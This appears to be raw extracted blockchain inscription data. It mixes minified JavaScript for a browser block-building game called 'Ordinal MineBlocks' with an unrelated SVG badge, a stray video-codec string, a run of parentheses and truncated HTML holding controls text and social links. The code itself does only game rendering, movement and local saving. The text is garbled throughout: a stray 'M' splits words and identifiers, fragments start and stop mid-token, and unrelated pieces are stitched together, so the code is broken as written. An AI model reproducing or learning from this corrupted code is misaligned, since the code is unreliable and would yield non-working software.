=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
